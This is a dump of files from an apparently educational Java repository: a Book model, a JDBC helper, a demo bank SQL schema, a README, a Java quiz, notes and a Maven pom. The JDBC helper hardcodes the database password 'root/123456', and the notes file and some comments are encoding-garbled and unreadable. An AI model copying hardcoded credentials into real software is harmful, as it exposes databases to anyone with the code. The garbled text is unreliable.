    "path": "jun_java_plugins/jun_jdbc/src/test/java/com/jun/plugin/jdbc/model/Book.java",
    "content": "package com.jun.plugin.jdbc.model;\n\nimport java.io.File;\n\n/**\n * ͼ��ģ��\n * @author caofeng\n *\n */\npublic class Book {\n\n\tprivate int id;\n\tprivate String bookName;\n\tprivate float price;\n\tprivate String author;\n\tprivate int bookTypeId;\n\tprivate File context;\n\tprivate File pic;\n\t\n\t\n\t\n\tpublic Book(int id, String bookName, float price, String author,\n\t\t\tint bookTypeId) {\n\t\tsuper();\n\t\tthis.id = id;\n\t\tthis.bookName = bookName;\n\t\tthis.price = price;\n\t\tthis.author = author;\n\t\tthis.bookTypeId = bookTypeId;\n\t}\n\tpublic Book(String bookName, float price, String author, int bookTypeId) {\n\t\tsuper();\n\t\tthis.bookName = bookName;\n\t\tthis.price = price;\n\t\tthis.author = author;\n\t\tthis.bookTypeId = bookTypeId;\n\t}\n\t\n\t\n\tpublic Book(String bookName, float price, String author, int bookTypeId,\n\t\t\tFile context) {\n\t\tsuper();\n\t\tthis.bookName = bookName;\n\t\tthis.price = price;\n\t\tthis.author = author;\n\t\tthis.bookTypeId = bookTypeId;\n\t\tthis.context = context;\n\t}\n\t\n\t\n\tpublic Book(String bookName, float price, String author, int bookTypeId,\n\t\t\tFile context, File pic) {\n\t\tsuper();\n\t\tthis.bookName = bookName;\n\t\tthis.price = price;\n\t\tthis.author = author;\n\t\tthis.bookTypeId = bookTypeId;\n\t\tthis.context = context;\n\t\tthis.pic = pic;\n\t}\n\tpublic int getId() {\n\t\treturn id;\n\t}\n\tpublic void setId(int id) {\n\t\tthis.id = id;\n\t}\n\tpublic String getBookName() {\n\t\treturn bookName;\n\t}\n\tpublic void setBookName(String bookName) {\n\t\tthis.bookName = bookName;\n\t}\n\tpublic float getPrice() {\n\t\treturn price;\n\t}\n\tpublic void setPrice(float price) {\n\t\tthis.price = price;\n\t}\n\tpublic String getAuthor() {\n\t\treturn author;\n\t}\n\tpublic void setAuthor(String author) {\n\t\tthis.author = author;\n\t}\n\tpublic int getBookTypeId() {\n\t\treturn bookTypeId;\n\t}\n\tpublic void setBookTypeId(int bookTypeId) {\n\t\tthis.bookTypeId = bookTypeId;\n\t}\n\t\n\t\n\tpublic File getContext() {\n\t\treturn context;\n\t}\n\tpublic void setContext(File context) {\n\t\tthis.context = context;\n\t}\n\t\n\t\n\tpublic File getPic() {\n\t\treturn pic;\n\t}\n\tpublic void setPic(File pic) {\n\t\tthis.pic = pic;\n\t}\n\t@Override\n\tpublic String toString() {\n\t\treturn \"[\"+this.id+\",\"+this.bookName+\",\"+this.price+\",\"+this.author+\",\"+this.bookTypeId+\"]\";\n\t}\n\t\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdbc/src/test/java/com/jun/plugin/jdbc/util/DbUtil.java",
    "content": "package com.jun.plugin.jdbc.util;\n\nimport java.sql.CallableStatement;\nimport java.sql.Connection;\nimport java.sql.DriverManager;\nimport java.sql.Statement;\n\nimport com.mysql.jdbc.PreparedStatement;\n\npublic class DbUtil {\n\n\t// ���ݿ��ַ\n\tprivate static String dbUrl=\"jdbc:mysql://localhost:3306/db_bank\";\n\t// �û���\n\tprivate static String dbUserName=\"root\";\n\t// ����\n\tprivate static String dbPassword=\"123456\";\n\t// ��������\n\tprivate static String jdbcName=\"com.mysql.jdbc.Driver\";\n\t\n\t/**\n\t * ��ȡ���ݿ�����\n\t * @return\n\t * @throws Exception\n\t */\n\tpublic Connection getCon()throws Exception{\n\t\tClass.forName(jdbcName);\n\t\tConnection con=DriverManager.getConnection(dbUrl, dbUserName, dbPassword);\n\t\treturn con;\n\t}\n\t\n\t/**\n\t * �ر�����\n\t * @param con\n\t * @throws Exception\n\t */\n\tpublic void close(Statement stmt,Connection con)throws Exception{\n\t\tif(stmt!=null){\n\t\t\tstmt.close();\n\t\t\tif(con!=null){\n\t\t\t\tcon.close();\n\t\t\t}\n\t\t}\n\t}\n\t\n\t/**\n\t * �ر�����\n\t * @param con\n\t * @throws Exception\n\t */\n\tpublic void close(PreparedStatement pstmt,Connection con)throws Exception{\n\t\tif(pstmt!=null){\n\t\t\tpstmt.close();\n\t\t\tif(con!=null){\n\t\t\t\tcon.close();\n\t\t\t}\n\t\t}\n\t}\n\t\n\t/**\n\t * �ر�����\n\t * @param con\n\t * @throws Exception\n\t */\n\tpublic void close(CallableStatement cstmt,Connection con)throws Exception{\n\t\tif(cstmt!=null){\n\t\t\tcstmt.close();\n\t\t\tif(con!=null){\n\t\t\t\tcon.close();\n\t\t\t}\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdbc/src/test/java/db_bank.sql",
    "content": "/*\r\nSQLyog 企业版 - MySQL GUI v8.14 \r\nMySQL - 5.1.49-community : Database - db_bank\r\n*********************************************************************\r\n*/\r\r\n\r\n/*!40101 SET NAMES utf8 */;\r\n\r\n/*!40101 SET SQL_MODE=''*/;\r\n\r\n/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;\r\n/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;\r\n/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;\r\n/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;\r\nCREATE DATABASE /*!32312 IF NOT EXISTS*/`db_bank` /*!40100 DEFAULT CHARACTER SET utf8 */;\r\n\r\nUSE `db_bank`;\r\n\r\n/*Table structure for table `t_account` */\r\n\r\nDROP TABLE IF EXISTS `t_account`;\r\n\r\nCREATE TABLE `t_account` (\r\n  `id` int(11) NOT NULL AUTO_INCREMENT,\r\n  `accountName` varchar(20) DEFAULT NULL,\r\n  `accountBalance` int(11) DEFAULT NULL,\r\n  PRIMARY KEY (`id`)\r\n) ENGINE=InnoDB AUTO_INCREMENT=3 DEFAULT CHARSET=utf8;\r\n\r\n/*Data for the table `t_account` */\r\n\r\ninsert  into `t_account`(`id`,`accountName`,`accountBalance`) values (1,'张三',500),(2,'李四',1000);\r\n\r\n/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;\r\n/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;\r\n/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;\r\n/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;\r\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/README.md",
    "content": "<div align=\"center\">\n\n[![License](https://img.shields.io/badge/License-Apache%202.0-blue.svg)](http://github.com/hhyo/archery/blob/master/LICENSE)\n[![996.icu](https://img.shields.io/badge/link-996.icu-red.svg)](https://996.icu)\n\n</div>\n\n## java-study\n\n**介绍**\n\n[java-study](https://github.com/xuwujing/java-study) 是本人学习Java过程中记录的一些代码！从Java基础的数据类型、jdk1.8的使用、IO、集合、线程等等技术以及一些常用框架，netty、mina、springboot、kafka、storm、zookeeper、es、redis、hbase、hive等等。\n\n**使用**\n\n下载：\n\n    git clone https://github.com/xuwujing/java-study\n\n然后使用maven方式导入IDE中运行main方法即可。\n\n## 项目结构\n\n    com.pancm.arithmetic - 一些算法相关类 \n    com.pancm.basics - 一些Java基础相关类 主要是三大特性、修饰符、io、集合、反射、克隆等等相关代码\n    com.pancm.bigdata - 大数据相关的类 主要是hbase、storm、zookeeper等等相关的代码\n    com.pancm.commons - 一些第三方工具类的测试用例 主要是apache commons、apache lang、google common、google guava、joda等等一些工具包测试使用代码\n    com.pancm.design -  设计模式相关的示例类 包含常用的23种设计模式\n    com.pancm.elasticsearch -  elasticsearch相关使用的测试用例，包括索引mapping的创建、全文检索、聚合查询等等\n    com.pancm.jdk8 -    jdk1.8相关的类 主要是lambda、stream以及LocalDateTime等等测试代码\n    com.pancm.mq - 一些消息中间件的类，主要包含kafka、rabbitmq相关的测试代码\n    com.pancm.nio - 一些nio框架，主要是netty和mina\n    com.pancm.others - 一些不知道怎么定义的测试类，Jsoup(爬虫)、logback、lombok等等测试代码\n    com.pancm.pojo -  实体相关类\n    com.pancm.question - 一些面试可能会问的问题的类\n    com.pancm.redis - redis相关使用的类\n    com.pancm.sql -   一些数据库相关的类\n    com.pancm.thread - 一些线程相关的类 从基本的使用到各种并发的测试类\n    com.pancm.utils - 一些常用的工具类 主要是Json数据转换，日期转换，二维码图片生成工具类，常用的AES、MD5、BASE64等等编码解码工具类，redis、kafka、zookeeper等等工具类\n\n## 相关文章\n\n这里介绍的文章主要是本人写的一些博客。博客主要发布在[个人博客](http://www.panchengming.com)、[CSDN](https://blog.csdn.net/qazwsxpcm)、[博客园](https://www.cnblogs.com/xuwujing/)等，但是由于个人博客在github上，访问可能较慢，CSDN目前观感体验不好，所以以下链接主要就在博客园中了。\n\n**Java基础相关:**\n\n- [基本数据类型](https://www.cnblogs.com/xuwujing/p/8597557.html)\n- [修饰符和String](https://www.cnblogs.com/xuwujing/p/8638329.html)\n- [封装、继承和多态](https://www.cnblogs.com/xuwujing/p/8681123.html)\n- [集合List、Map和Set](https://www.cnblogs.com/xuwujing/p/8886821.html)\n- [多线程](https://www.cnblogs.com/xuwujing/p/9102870.html)\n- [IO流](https://www.cnblogs.com/xuwujing/p/9191546.html)\n- [总结篇](https://www.cnblogs.com/xuwujing/p/9236376.html)\n\n**设计模式:**\n\n- [单例模式](https://www.cnblogs.com/xuwujing/p/9277266.html)\n- [工厂方法和抽象工厂模式](https://www.cnblogs.com/xuwujing/p/9363142.html)\n- [建造者模式和原型模式](https://www.cnblogs.com/xuwujing/p/9496346.html)\n- [适配器模式和桥接模式](https://www.cnblogs.com/xuwujing/p/9520851.html)\n- [外观模式和装饰器模式](https://www.cnblogs.com/xuwujing/p/9545272.html)\n- [组合模式和过滤器模式](https://www.cnblogs.com/xuwujing/p/9630850.html)\n- [享元模式和代理模式](https://www.cnblogs.com/xuwujing/p/9704228.html)\n- [责任链模式和命令模式](https://www.cnblogs.com/xuwujing/p/9794886.html)\n- [解释器模式和迭代器模式](https://www.cnblogs.com/xuwujing/p/9873514.html)\n- [访问者模式和中介者模式](https://www.cnblogs.com/xuwujing/p/9911997.html)\n- [策略模式和模板方法模式](https://www.cnblogs.com/xuwujing/p/9954263.html)\n- [观察者模式和空对象模式](https://www.cnblogs.com/xuwujing/p/10036204.html)\n- [总结篇](https://www.cnblogs.com/xuwujing/p/10134494.html)\n\n**JAVA进阶相关:**\n\n- [JDK1.8的Lambda、Stream和日期的使用详解](https://www.cnblogs.com/xuwujing/p/10145691.html)\n\n\n**大数据相关:**\n- [大数据学习系列之三 ----- HBase Java Api 图文详解](https://www.cnblogs.com/xuwujing/p/8039175.html)\n- [Kafka 使用Java实现数据的生产和消费demo](https://www.cnblogs.com/xuwujing/p/8371127.html)\n- [关于Kafka 的 consumer 消费者手动提交详解](https://www.cnblogs.com/xuwujing/p/8432984.html)\n- [Storm 入门的Demo教程](https://www.cnblogs.com/xuwujing/p/8584684.html)\n\n\n**ElasticSearch相关:**\n- [ElasticSearch实战系列一: ElasticSearch集群+Kinaba安装教程](https://www.cnblogs.com/xuwujing/p/11385255.html)\n- [ElasticSearch实战系列二: ElasticSearch的DSL语句使用教程---图文详解](https://www.cnblogs.com/xuwujing/p/11567053.html)\n- [ElasticSearch实战系列三: ElasticSearch的JAVA API使用教程](https://www.cnblogs.com/xuwujing/p/11645630.html)\n- [ElasticSearch实战系列四: ElasticSearch理论知识介绍](https://www.cnblogs.com/xuwujing/p/12093933.html)\n\n\n\n**其他博客:**\n\n- [两年JAVA程序员的面试总结](https://www.cnblogs.com/xuwujing/p/7613084.html)\n- [一个两年java程序猿的2017个人总结](https://www.cnblogs.com/xuwujing/p/8158716.html)\n- [写了一年的博客，我收获了什么](https://www.cnblogs.com/xuwujing/p/8747769.html)\n- [给刚工作不久的程序猿同学的一封信](https://www.cnblogs.com/xuwujing/p/9665966.html)\n- [一个平凡但不平庸的程序猿2018个人总结](https://www.cnblogs.com/xuwujing/p/9665966.html)\n- [个人收集的资源分享](https://www.cnblogs.com/xuwujing/p/10393111.html)\n- [一个毕业三年的程序猿对于提升自我的一些建议](https://www.cnblogs.com/xuwujing/p/11735726.html)\n- [认清自我，不在迷茫！2019个人年终总结！](https://www.cnblogs.com/xuwujing/p/12174112.html)\n\n## 其他\n\n在这些代码中，虽然大部分都是自己写的，但是也有不少是在学习过程中从网上或书上直接摘抄的，当时有些并未标明出处，现在由于忘了出处，有些代码并未标明，若有冒犯，请见谅！\n\nThanks to [Jetbrains](https://www.jetbrains.com/?from=java-study) for IDE support!"
  },
  {
    "path": "jun_java_plugins/jun_jdk/doc/基础加强作业.txt",
    "content": "﻿1、排序题，使用Debug进行程序调试的流程是什么？\n  A、使用快捷键跳过(step over F6)，当前行[100行]\n  B、使用快捷键结束当前操作(resume F8)\n  C、设置断点。在需要调试的代码行[100行]之前，双击添加。\n  D、使用快捷键跳入(step into F5)到当前行[120行]所调用的方法[20行]中\n  E、以Debug方式运行当前程序\n  F、使用快捷键跳出(step return F7)当前方法[20行]\n\n2、在使用Junit时使用到的注解\n  A、@Test\n  B、@Override\n  C、@Ignore\n  D、@Target\n\n3、下面有关静态导入的说法，哪些是错误的？\n  A、静态导入只能导入静态属性\n  B、静态导入只能导入静态方法\n  C、静态导入只能导入静态属性和静态方法\n  D、静态导入能够导入任意属性和任意方法\n\n4、以下泛型的使用哪些是错误的？\n  A、List<String> list = new ArrayList<String>();\n  B、List<int> list = new ArrayList<int>();\n  C、Map<String,String> map = new HashMap<String,Integer>();\n  D、Map<String,Integer> map = new HashMap<String,Integer>();\n\n5、关于增强for循环，以下说法哪些是错误的？\n  A、格式：for(变量类型 变量名称 : 数组|集合){}\n  B、要使用ForEach语句，可以是任意集合\n  C、要使用ForEach语句，只能是实现了Iterable接口的集合\n  D、在ForEach语句循环体中，可以进行删除操作\n\n6、下面有关可变参数，哪些说话是正确的？\n  A、形参可变参数，在方法内部将被当成数组使用\n  B、一个方法的形参，只能有一个可变参数，并且只能放置在所有形参的前面\n  C、将实际参数传递给形参可变参数时，可以什么都不传递\n  D、将实际参数传递给形参可变参数时，不能传递null值\n\n7、以下说法哪些是正确的？\n  A、在单例模式中，只能有一个实例对象\n  B、在多例模式中，可以有任意个实例对象\n  C、自定义带有枚举功能的类的构造方法是私有的，并且只能有一个构造方法,并且不带参数\n  D、使用Enum定义枚举类\n\n8、获得字节码的方法有哪些？\n\n9、下面说法哪些是正确的？\n  A、java.lang.Class 类的实例表示正在运行的 Java 应用程序中的类和接口\n  B、跟反射有关的类主要在java.lang.reflect中\n  C、反射只能获得所有的公共方法\n  D、反射不能获得方法的返回值类型"
  },
  {
    "path": "jun_java_plugins/jun_jdk/doc/基础加强笔记.txt",
    "content": "Ŀ¼<My Documents>\\exercises\\liangtong\n\n\n1Debug\n\t* е\n\t* ǰ᣺öϵ\n\t* 裺\n\t\t* debugģʽ\n\t\t* ԣťF6F5F7F8 \n\n\n2JDK5.0\n\t* Annotations ע\n\t* Static Import  ̬\n\t\t* 뾲̬Դ̬;ֶ̬\n\t\t* ʽimport static java.lang.Math.PI;\n\t\t\t    import static java.lang.Math.*;\n\t* Autoboxing/UnboxingԶװԶ\n\t\t* װ͵ת\n\t\t* JDK1.4\n\t\t\tInteger ii = new Integer(20);\n\t\t    int jj = ii.intValue();\n\t* Varargsɱ\n\t\t/* ɱĸʽ    ...  \n\t\t * ʹã\n\t\t * \t* ڷڣβοɱʹ\n\t\t *  * ʵʲĸβοɱڷʹõĳ\n\t\t *  * ʵʲ飬齫ᱻɢ\n\t\t *  * ܽ᣺ɱֻܷڷбһλ\n\t\t *  \t* һܷɱ\n\t* Generics\n\t\t/*\n\t\t * ʽ<[,...]>\n\t\t * * ʹñǰͬ\n\t\t * * ڱǰԼֽļвڷϢ\n\t\t* ListMap\n\t* Enhanced for Loop:ǿforѭ\n\t\t* ʽ for(    : (Iterable)|){}\n\t\t\t* ҪʵIterableӿڵеļϡֻҪܹеļ\n\t\t* ϰ\n\t* Typesafe Enums\n\t\t/* öҲһ\n\t\t *  öٵʵĬ public static final\n\t\t *  öٹ췽Ĭ˽\n\t\t *  öٵʵı֮ǰ\n\t\t \n\t\t * ˽ enums4  \n\t\t *  enums5\n\t\t * ڲ enums6\n\t\t * api   enums7\n\t\t \n3\n\t* ڴֽ java.lang.Class\n\t* java.lang.reflect\n\t* API \n\t\t* Class.forName()\n\t\t* getConstrutor() -- newInstance\n\t\t* getMethod()  -- invoke\n\t\t* getField()  --get  set\n\t\n\t\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/pom.xml",
    "content": "<?xml version=\"1.0\"?>\n<project\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\"\n\txmlns=\"http://maven.apache.org/POM/4.0.0\"\n\txmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\">\n\t<modelVersion>4.0.0</modelVersion>\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>jun_jdk</artifactId>\n\t<version>1.0</version>\n\t<packaging>jar</packaging>\n\n\t<properties>\n\t\t<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t</properties>\n\n\t<dependencies>\n\t\t<!-- https://mvnrepository.com/artifact/com.google.guava/guava -->\n\t\t<dependency>\n\t\t\t<groupId>com.google.guava</groupId>\n\t\t\t<artifactId>guava</artifactId>\n\t\t\t<version>29.0-jre</version>\n\t\t</dependency>\n\t\t<!-- 目标数据库，这里采用mysql -->\n\t\t<dependency>\n\t\t\t<groupId>mysql</groupId>\n\t\t\t<artifactId>mysql-connector-java</artifactId>\n\t\t\t<version>5.1.40</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>cglib</groupId>\n\t\t\t<artifactId>cglib</artifactId>\n\t\t\t<version>3.1</version>\n\t\t</dependency>\n\n\n\t\t<dependency>\n\t\t\t<groupId>junit</groupId>\n\t\t\t<artifactId>junit</artifactId>\n\t\t\t<version>4.12</version>\n\t\t</dependency>\n\n\n\t\t<!--<dependency> <groupId>jdk.tools</groupId> <artifactId>jdk.tools</artifactId> \n\t\t\t<version>1.8</version> <scope>system</scope> <systemPath>${JAVA_HOME}/lib/tools.jar</systemPath> \n\t\t\t</dependency> -->\n\n\n\t\t<!--日志 -->\n\t\t<dependency>\n\t\t\t<groupId>org.slf4j</groupId>\n\t\t\t<artifactId>slf4j-api</artifactId>\n\t\t\t<version>1.7.25</version>\n\t\t</dependency>\n\n\t\t<!-- logback 相关jar -->\n\t\t<dependency>\n\t\t\t<groupId>ch.qos.logback</groupId>\n\t\t\t<artifactId>logback-classic</artifactId>\n\t\t\t<version>1.2.3</version>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>ch.qos.logback</groupId>\n\t\t\t<artifactId>logback-core</artifactId>\n\t\t\t<version>1.2.3</version>\n\t\t</dependency>\n\n\n\t\t<!-- 工具包 start -->\n\n\t\t<!--jackson -->\n\t\t<dependency>\n\t\t\t<groupId>com.fasterxml.jackson.jaxrs</groupId>\n\t\t\t<artifactId>jackson-jaxrs-json-provider</artifactId>\n\t\t\t<version>2.9.6</version>\n\t\t</dependency>\n\n\t\t<!-- gson -->\n\t\t<dependency>\n\t\t\t<groupId>com.google.code.gson</groupId>\n\t\t\t<artifactId>gson</artifactId>\n\t\t\t<version>2.8.5</version>\n\t\t</dependency>\n\n\t\t<!-- fastjson -->\n\t\t<dependency>\n\t\t\t<groupId>com.alibaba</groupId>\n\t\t\t<artifactId>fastjson</artifactId>\n\t\t\t<version>1.2.49</version>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>commons-codec</groupId>\n\t\t\t<artifactId>commons-codec</artifactId>\n\t\t\t<version>1.11</version>\n\t\t</dependency>\n\n\t\t<!-- apache 工具包 -->\n\n\t\t<dependency>\n\t\t\t<groupId>commons-lang</groupId>\n\t\t\t<artifactId>commons-lang</artifactId>\n\t\t\t<version>2.6</version>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>org.apache.commons</groupId>\n\t\t\t<artifactId>commons-lang3</artifactId>\n\t\t\t<version>3.7</version>\n\t\t</dependency>\n\n\t\t<!-- 压缩使用的 -->\n\t\t<dependency>\n\t\t\t<groupId>org.apache.commons</groupId>\n\t\t\t<artifactId>commons-compress</artifactId>\n\t\t\t<version>1.18</version>\n\t\t</dependency>\n\n\n\n\t\t<!-- POI → see jun_poi module -->\n\t\t<!--\n\t\t<dependency>\n\t\t\t<groupId>org.apache.poi</groupId>\n\t\t\t<artifactId>poi</artifactId>\n\t\t\t<version>3.9</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.apache.poi</groupId>\n\t\t\t<artifactId>poi-ooxml</artifactId>\n\t\t\t<version>3.17</version>\n\t\t</dependency>\n\t\t-->\n\n\t\t<!-- ZXing → see jun_qrcode module -->\n\t\t<!--\n\t\t<dependency>\n\t\t\t<groupId>com.google.zxing</groupId>\n\t\t\t<artifactId>core</artifactId>\n\t\t\t<version>3.0.0</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>com.google.zxing</groupId>\n\t\t\t<artifactId>javase</artifactId>\n\t\t\t<version>3.0.0</version>\n\t\t</dependency>\n\t\t-->\n\n\n\t\t<!--pagehelper分页工具类 -->\n\t\t<dependency>\n\t\t\t<groupId>com.github.pagehelper</groupId>\n\t\t\t<artifactId>pagehelper</artifactId>\n\t\t\t<version>4.1.0</version>\n\t\t</dependency>\n\n\t\t<!--使用lombok 在pojo中可以免去写getter和setter -->\n\t\t<dependency>\n\t\t\t<groupId>org.projectlombok</groupId>\n\t\t\t<artifactId>lombok</artifactId>\n\t\t\t<version>1.18.20</version>\n\t\t</dependency>\n\n\t\t<!--gecco 爬虫 -->\n\t\t<dependency>\n\t\t\t<groupId>com.geccocrawler</groupId>\n\t\t\t<artifactId>gecco</artifactId>\n\t\t\t<version>1.2.8</version>\n\t\t</dependency>\n\n\n\t\t<!--protobuf jar -->\n\t\t<dependency>\n\t\t\t<groupId>com.google.protobuf</groupId>\n\t\t\t<artifactId>protobuf-java</artifactId>\n\t\t\t<version>3.5.1</version>\n\t\t</dependency>\n\n\n\t\t<!-- Quartz → see jun_quartz module -->\n\t\t<!--\n\t\t<dependency>\n\t\t\t<groupId>org.quartz-scheduler</groupId>\n\t\t\t<artifactId>quartz</artifactId>\n\t\t\t<version>2.3.0</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.quartz-scheduler</groupId>\n\t\t\t<artifactId>quartz-jobs</artifactId>\n\t\t\t<version>2.3.0</version>\n\t\t</dependency>\n\t\t-->\n\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-beans</artifactId>\n\t\t\t<version>5.2.1.RELEASE</version>\n\t\t</dependency>\n\n\t\t<!-- duplicate guava removed (keeping 29.0-jre above) -->\n\t\t<!--\n\t\t<dependency>\n\t\t\t<groupId>com.google.guava</groupId>\n\t\t\t<artifactId>guava</artifactId>\n\t\t\t<version>27.1-jre</version>\n\t\t</dependency>\n\t\t-->\n\n\t\t<!-- 工具包 end -->\n\n\n\n\t\t<!-- 数据库相关jar start -->\n\n\t\t<!-- Jedis → see jun_redis module -->\n\t\t<!--\n\t\t<dependency>\n\t\t\t<groupId>redis.clients</groupId>\n\t\t\t<artifactId>jedis</artifactId>\n\t\t\t<version>2.9.0</version>\n\t\t</dependency>\n\t\t-->\n\n\t\t<!-- duplicate mysql-connector removed (already in parent POM as 5.1.40) -->\n\t\t<!--\n\t\t<dependency>\n\t\t\t<groupId>mysql</groupId>\n\t\t\t<artifactId>mysql-connector-java</artifactId>\n\t\t\t<version>5.1.41</version>\n\t\t</dependency>\n\t\t-->\n\n\t\t<!--sqlite相关jar -->\n\t\t<dependency>\n\t\t\t<groupId>org.xerial</groupId>\n\t\t\t<artifactId>sqlite-jdbc</artifactId>\n\t\t\t<version>3.20.1</version>\n\t\t</dependency>\n\n\t\t<!--SQL Server 驱动包 -->\n\t\t<dependency>\n\t\t\t<groupId>com.microsoft.sqlserver</groupId>\n\t\t\t<artifactId>sqljdbc4</artifactId>\n\t\t\t<version>4.0</version>\n\t\t</dependency>\n\n\t\t<!-- 数据库相关jar end -->\n\n\n\n\t\t<!-- 通信相关jar start -->\n\n\t\t<!--netty 相关jar -->\n\t\t<dependency>\n\t\t\t<groupId>io.netty</groupId>\n\t\t\t<artifactId>netty-all</artifactId>\n\t\t\t<version>4.1.42.Final</version>\n\t\t</dependency>\n\n\t\t<!--mina 相关jar -->\n\t\t<dependency>\n\t\t\t<groupId>org.apache.mina</groupId>\n\t\t\t<artifactId>mina-core</artifactId>\n\t\t\t<version>2.0.16</version>\n\t\t</dependency>\n\n\t\t<!--http相关jar -->\n\t\t<dependency>\n\t\t\t<groupId>com.github.kevinsawicki</groupId>\n\t\t\t<artifactId>http-request</artifactId>\n\t\t\t<version>6.0</version>\n\t\t</dependency>\n\n\n\t\t<!-- 通信相关jar end -->\n\n\n\n\n\t\t<!-- 消息中间件 相关jar start -->\n\n\t\t<!--rabbitmq 相关jar -->\n\t\t<dependency>\n\t\t\t<groupId>com.rabbitmq</groupId>\n\t\t\t<artifactId>amqp-client</artifactId>\n\t\t\t<version>4.3.0</version>\n\t\t</dependency>\n\n\t\t<!-- kafka -->\n\t\t<dependency>\n\t\t\t<groupId>org.apache.kafka</groupId>\n\t\t\t<artifactId>kafka_2.12</artifactId>\n\t\t\t<version>1.0.0</version>\n\t\t\t<exclusions>\n\t\t\t\t<exclusion>\n\t\t\t\t\t<groupId>org.apache.zookeeper</groupId>\n\t\t\t\t\t<artifactId>zookeeper</artifactId>\n\t\t\t\t</exclusion>\n\t\t\t\t<exclusion>\n\t\t\t\t\t<groupId>org.slf4j</groupId>\n\t\t\t\t\t<artifactId>slf4j-log4j12</artifactId>\n\t\t\t\t</exclusion>\n\t\t\t\t<exclusion>\n\t\t\t\t\t<groupId>log4j</groupId>\n\t\t\t\t\t<artifactId>log4j</artifactId>\n\t\t\t\t</exclusion>\n\t\t\t</exclusions>\n\t\t</dependency>\n\n\n\t\t<dependency>\n\t\t\t<groupId>org.apache.kafka</groupId>\n\t\t\t<artifactId>kafka-clients</artifactId>\n\t\t\t<version>1.0.0</version>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>org.apache.kafka</groupId>\n\t\t\t<artifactId>kafka-streams</artifactId>\n\t\t\t<version>1.0.0</version>\n\t\t</dependency>\n\n\t\t<!-- 消息中间件 相关jar end -->\n\n\n\t\t<!-- 大数据相关 jar start -->\n\n\t\t<!-- zookeeper -->\n\t\t<dependency>\n\t\t\t<groupId>org.apache.zookeeper</groupId>\n\t\t\t<artifactId>zookeeper</artifactId>\n\t\t\t<version>3.4.10</version>\n\t\t\t<exclusions>\n\t\t\t\t<exclusion>\n\t\t\t\t\t<groupId>org.slf4j</groupId>\n\t\t\t\t\t<artifactId>slf4j-log4j12</artifactId>\n\t\t\t\t</exclusion>\n\t\t\t\t<exclusion>\n\t\t\t\t\t<groupId>log4j</groupId>\n\t\t\t\t\t<artifactId>log4j</artifactId>\n\t\t\t\t</exclusion>\n\t\t\t</exclusions>\n\t\t</dependency>\n\n\t\t<!-- zookeeper 工具类 -->\n\t\t<dependency>\n\t\t\t<groupId>com.101tec</groupId>\n\t\t\t<artifactId>zkclient</artifactId>\n\t\t\t<version>0.10</version>\n\t\t</dependency>\n\n\n\t\t<dependency>\n\t\t\t<groupId>org.apache.hbase</groupId>\n\t\t\t<artifactId>hbase-client</artifactId>\n\t\t\t<version>2.1.4</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.apache.hbase</groupId>\n\t\t\t<artifactId>hbase-common</artifactId>\n\t\t\t<version>2.1.4</version>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>org.apache.storm</groupId>\n\t\t\t<artifactId>storm-core</artifactId>\n\t\t\t<version>1.2.2</version>\n\t\t\t<scope>provided</scope>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>org.apache.storm</groupId>\n\t\t\t<artifactId>storm-kafka</artifactId>\n\t\t\t<version>1.2.2</version>\n\t\t\t<scope>provided</scope>\n\t\t</dependency>\n\n\t\t<!-- 大数据相关 jar end -->\n\n\t\t<!-- ES 相关jar包 -->\n\n\t\t<!-- ES高级API -->\n\t\t<dependency>\n\t\t\t<groupId>org.elasticsearch.client</groupId>\n\t\t\t<artifactId>elasticsearch-rest-high-level-client</artifactId>\n\t\t\t<version>6.6.1</version>\n\t\t</dependency>\n\n\t\t<!--Jest工具包 -->\n\t\t<dependency>\n\t\t\t<groupId>io.searchbox</groupId>\n\t\t\t<artifactId>jest</artifactId>\n\t\t\t<version>6.3.1</version>\n\t\t</dependency>\n\n\n\t</dependencies>\n\t<build>\n\t\t<finalName>jun_jdk</finalName>\n\t</build>\n</project>\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/App.java",
    "content": "package com.jun.plugin;\n\n/**\n * Hello world!\n *\n */\npublic class App \n{\n    public static void main( String[] args )\n    {\n        System.out.println( \"Hello World!\" );\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/arithmetic/PatternMatchingTest.java",
